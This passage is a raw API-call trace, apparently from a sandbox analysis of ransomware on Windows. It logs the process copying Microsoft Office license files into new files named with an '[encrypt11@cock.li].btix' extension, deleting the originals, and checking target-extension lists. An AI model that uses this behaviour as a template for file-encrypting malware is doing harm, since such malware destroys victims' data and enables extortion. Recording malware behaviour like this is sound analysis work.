liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.486] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0145.487] GetLastError () returned 0x0 [0145.487] ReadFile (in: hFile=0x564, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x29a7, lpOverlapped=0x0) returned 1 [0145.488] WriteFile (in: hFile=0x390, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0145.489] ReadFile (in: hFile=0x564, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.489] WriteFile (in: hFile=0x390, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x114, lpOverlapped=0x0) returned 1 [0145.489] SetEndOfFile (hFile=0x390) returned 1 [0145.490] CloseHandle (hObject=0x390) returned 1 [0145.490] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.490] SetEndOfFile (hFile=0x564) returned 1 [0145.492] CloseHandle (hObject=0x564) returned 1 [0145.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.492] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0145.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.493] lstrlenW (lpString=".doc") returned 4 [0145.493] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.493] lstrlenW (lpString=".docx") returned 5 [0145.493] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.493] lstrlenW (lpString=".pdf") returned 4 [0145.493] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.493] lstrlenW (lpString=".xls") returned 4 [0145.493] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.493] lstrlenW (lpString=".xlsx") returned 5 [0145.493] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.493] lstrlenW (lpString=".ppt") returned 4 [0145.493] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.493] lstrlenW (lpString=".zip") returned 4 [0145.493] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.493] lstrlenW (lpString=".rar") returned 4 [0145.493] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.493] lstrlenW (lpString=".bz2") returned 4 [0145.493] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString=".7z") returned 3 [0145.494] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.494] lstrlenW (lpString=".dbf") returned 4 [0145.494] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.494] lstrlenW (lpString=".1cd") returned 4 [0145.494] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.494] lstrlenW (lpString=".jpg") returned 4 [0145.494] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.494] lstrlenW (lpString=".doc") returned 4 [0145.494] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString=".docx") returned 5 [0145.494] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.494] lstrlenW (lpString=".pdf") returned 4 [0145.494] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString=".xls") returned 4 [0145.494] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString=".xlsx") returned 5 [0145.494] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.494] lstrlenW (lpString=".ppt") returned 4 [0145.494] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.494] lstrlenW (lpString=".zip") returned 4 [0145.494] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.495] lstrlenW (lpString=".rar") returned 4 [0145.495] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.495] lstrlenW (lpString=".bz2") returned 4 [0145.495] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.495] lstrlenW (lpString=".7z") returned 3 [0145.495] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.495] lstrlenW (lpString=".dbf") returned 4 [0145.495] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.495] lstrlenW (lpString=".1cd") returned 4 [0145.495] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0145.495] lstrlenW (lpString=".jpg") returned 4 [0145.495] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.495] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0145.495] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37 [0145.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0145.496] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19966) returned 1 [0145.496] CloseHandle (hObject=0x564) returned 1 [0145.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0145.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0145.496] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.496] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0145.497] GetLastError () returned 0x0 [0145.497] ReadFile (in: hFile=0x564, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0145.514] WriteFile (in: hFile=0x390, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0145.515] ReadFile (in: hFile=0x564, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.515] WriteFile (in: hFile=0x390, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x11e, lpOverlapped=0x0) returned 1 [0145.515] SetEndOfFile (hFile=0x390) returned 1 [0145.515] CloseHandle (hObject=0x390) returned 1 [0145.515] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.515] SetEndOfFile (hFile=0x564) returned 1 [0145.517] CloseHandle (hObject=0x564) returned 1 [0145.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0145.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.518] lstrlenW (lpString=".doc") returned 4 [0145.518] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.518] lstrlenW (lpString=".docx") returned 5 [0145.518] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.518] lstrlenW (lpString=".pdf") returned 4 [0145.518] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".xls") returned 4 [0145.519] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".xlsx") returned 5 [0145.519] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.519] lstrlenW (lpString=".ppt") returned 4 [0145.519] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.519] lstrlenW (lpString=".zip") returned 4 [0145.519] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".rar") returned 4 [0145.519] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".bz2") returned 4 [0145.519] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".7z") returned 3 [0145.519] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.519] lstrlenW (lpString=".dbf") returned 4 [0145.519] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.519] lstrlenW (lpString=".1cd") returned 4 [0145.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.519] lstrlenW (lpString=".jpg") returned 4 [0145.519] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.519] lstrlenW (lpString=".doc") returned 4 [0145.519] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".docx") returned 5 [0145.519] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.519] lstrlenW (lpString=".pdf") returned 4 [0145.519] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".xls") returned 4 [0145.519] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.519] lstrlenW (lpString=".xlsx") returned 5 [0145.519] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.520] lstrlenW (lpString=".ppt") returned 4 [0145.520] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.520] lstrlenW (lpString=".zip") returned 4 [0145.520] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.520] lstrlenW (lpString=".rar") returned 4 [0145.520] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.520] lstrlenW (lpString=".bz2") returned 4 [0145.520] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.520] lstrlenW (lpString=".7z") returned 3 [0145.520] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.520] lstrlenW (lpString=".dbf") returned 4 [0145.520] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.520] lstrlenW (lpString=".1cd") returned 4 [0145.520] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0145.520] lstrlenW (lpString=".jpg") returned 4 [0145.520] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.520] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0145.520] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34 [0145.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0145.521] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=22094) returned 1 [0145.521] CloseHandle (hObject=0x564) returned 1 [0145.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220 [0145.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0145.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0145.521] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.521] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0145.522] GetLastError () returned 0x0 [0145.522] ReadFile (in: hFile=0x564, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x564e, lpOverlapped=0x0) returned 1 [0145.534] WriteFile (in: hFile=0x390, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x5650, lpOverlapped=0x0) returned 1 [0145.535] ReadFile (in: hFile=0x564, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.535] WriteFile (in: hFile=0x390, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x118, lpOverlapped=0x0) returned 1 [0145.535] SetEndOfFile (hFile=0x390) returned 1 [0145.535] CloseHandle (hObject=0x390) returned 1 [0145.535] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.535] SetEndOfFile (hFile=0x564) returned 1 [0145.548] CloseHandle (hObject=0x564) returned 1 [0145.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0145.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1 [0145.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.549] lstrlenW (lpString=".doc") returned 4 [0145.549] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.549] lstrlenW (lpString=".docx") returned 5 [0145.549] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.549] lstrlenW (lpString=".pdf") returned 4 [0145.549] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.549] lstrlenW (lpString=".xls") returned 4 [0145.549] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.549] lstrlenW (lpString=".xlsx") returned 5 [0145.549] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.549] lstrlenW (lpString=".ppt") returned 4 [0145.549] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.549] lstrlenW (lpString=".zip") returned 4 [0145.549] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".rar") returned 4 [0145.550] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".bz2") returned 4 [0145.550] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".7z") returned 3 [0145.550] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.550] lstrlenW (lpString=".dbf") returned 4 [0145.550] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.550] lstrlenW (lpString=".1cd") returned 4 [0145.550] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.550] lstrlenW (lpString=".jpg") returned 4 [0145.550] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.550] lstrlenW (lpString=".doc") returned 4 [0145.550] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".docx") returned 5 [0145.550] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.550] lstrlenW (lpString=".pdf") returned 4 [0145.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".xls") returned 4 [0145.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".xlsx") returned 5 [0145.550] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.550] lstrlenW (lpString=".ppt") returned 4 [0145.550] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.550] lstrlenW (lpString=".zip") returned 4 [0145.550] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".rar") returned 4 [0145.550] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.550] lstrlenW (lpString=".bz2") returned 4 [0145.550] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.551] lstrlenW (lpString=".7z") returned 3 [0145.551] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.551] lstrlenW (lpString=".dbf") returned 4 [0145.551] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.551] lstrlenW (lpString=".1cd") returned 4 [0145.551] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84 [0145.551] lstrlenW (lpString=".jpg") returned 4 [0145.551] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.551] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0145.551] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 37 [0145.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0145.567] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=19966) returned 1 [0145.567] CloseHandle (hObject=0x564) returned 1 [0145.568] GetFileAttributesW 